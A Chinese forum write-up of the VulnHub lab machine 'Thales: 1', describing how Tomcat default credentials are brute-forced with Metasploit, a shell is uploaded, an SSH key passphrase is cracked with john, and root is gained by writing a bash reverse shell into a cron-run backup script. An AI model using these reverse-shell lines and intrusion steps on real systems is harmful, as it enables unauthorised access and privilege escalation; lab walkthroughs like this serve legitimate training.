本帖最后由 Happiness 于 2023-12-18 10:29 编辑
0x01 靶机信息
- 名称:Thales: 1
- 发布日期:2021 年 10 月 16 日
- 作者:[MachineBoy](https://www.vulnhub.com/author/machineboy,723/)
- 系列:Thales
- 难度:中等
- 简介:睁开你的眼睛,改变你的观点。包括 2 个标志:user.txt 和 root.txt。
- 下载链接: [https://download.vulnhub.com/thales/Thales.zip](https://download.vulnhub.com/thales/Thales.zip)
- MD5:3645DD82FF243CE57F245EBEB83055DC
- 网络:DHCP自动分配
0x02 Write-Up
2.1 主机发现
- nping --arp 192.168.181.0/24 | grep at
--arp 使用arp模式
目标机IP:192.168.181.142
2.2 端口扫描
- hping3 192.168.181.142 --scan 1-65523 -S
--scan 扫描模式(端口),-S SYN模式
扫描出两个端口,22和8080
查看网页是tomcat,点击管理页面
需要用户密码登录
在没有其他提示的情况下,优先尝试爆破tomcat用户和密码
2.3 msf模块爆破tomcat账户
search tomcat
查找tomcat相关模块
找到tomcat_mgr_login模块
- use auxiliary/scanner/http/tomcat_mgr_login
use 使用模块
options
查看模块的功能配置
我们需要配置RHOSTS,目标地址
设置完,输入exploit启动
不显示错误消息
这里因为作者使用默认账户密码,所以没有更换字典,使用的是默认字典tomcat_mgr_defalt_pass.txt,利用set PASS_FILE可以更换,爆破出账户密码,tomcat:role1
登录后台
登录成功,查看其他管理页面
这里有一个文件上传可以利用
2.4 利用文件上传获取shell
利用msf的tomcat_mgr_upload模块上传反弹shell
- 设置模块配置
- set RHOSTS 192.168.181.142
- 设置目标地址
- set HttpPassword role1
- 设置密码
- set HttpUsername tomcat
- 设置用户名
- set rport 8080
- 设置端口
exploit执行获取meterpretershell
在thales家目录下发现一段话,并提示我们有一个backup.sh脚本
I prepared a backup script for you. The script is in this directory "/usr/local/bin/backup.sh". Good Luck.
翻译:我为你准备了一个备份脚本。该脚本位于“/usr/local/bin/backup.sh”目录中。祝你好运。
脚本会定期创建备份文件,并且我们有权限修改
backup.sh内容
- #!/bin/bash
- ####################################
- # Backup to NFS mount script.
- # What to backup.
- backup_files="/opt/tomcat/"
- # Where to backup to.
- dest="/var/backups"
- # Create archive filename.
- day=$(date +%A)
- hostname=$(hostname -s)
- archive_file="$hostname-$day.tgz"
- # Print start status message.
- echo "Backing up $backup_files to $dest/$archive_file"
- date
- echo
- # Backup the files using tar.
- tar czf $dest/$archive_file $backup_files
- # Print end status message.
- echo
- echo "Backup finished"
- date
- # Long listing of files in $dest to check file sizes.
- ls -lh $dest
因为在meterpreter shell下很多命令无法执行,我们退上层继续观察
发现了user.txt (无权限) 和一个ssh私钥
下载私钥破解ssh密码
下载私钥
2.5 利用john破解ssh密码
- ssh2john id_rsa > id_rsa.hash
格式化为john可读的格式
- john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
--wordlist指定字典
破解用户thales密码为:vodka06
2.6 利用meterpreter shell 反弹shell到本机
执行bash反弹shell
bash 先进入bash,否则会失败
- bash -i >& /dev/tcp/192.168.181.136/5555 0>&1
2.7 反弹全交互式shell
- 1. python3 -c 'import pty;pty.spawn("/bin/bash")' 然后按Ctrl+Z
- 2. stty raw -echo;fg 然后按回车两次
- 3. export=xterm
登录用户thales,成功拿到user的flag
这次可以直观的看到backup.sh是root的文件,我们是可编辑的
写入反弹shell等待执行
- bash -i >& /dev/tcp/192.168.181.136/6666 0>&1
2.8 提权至root
成功获取root权限,得到flag
backup.sh 是root的计划任务 每五分钟执行一次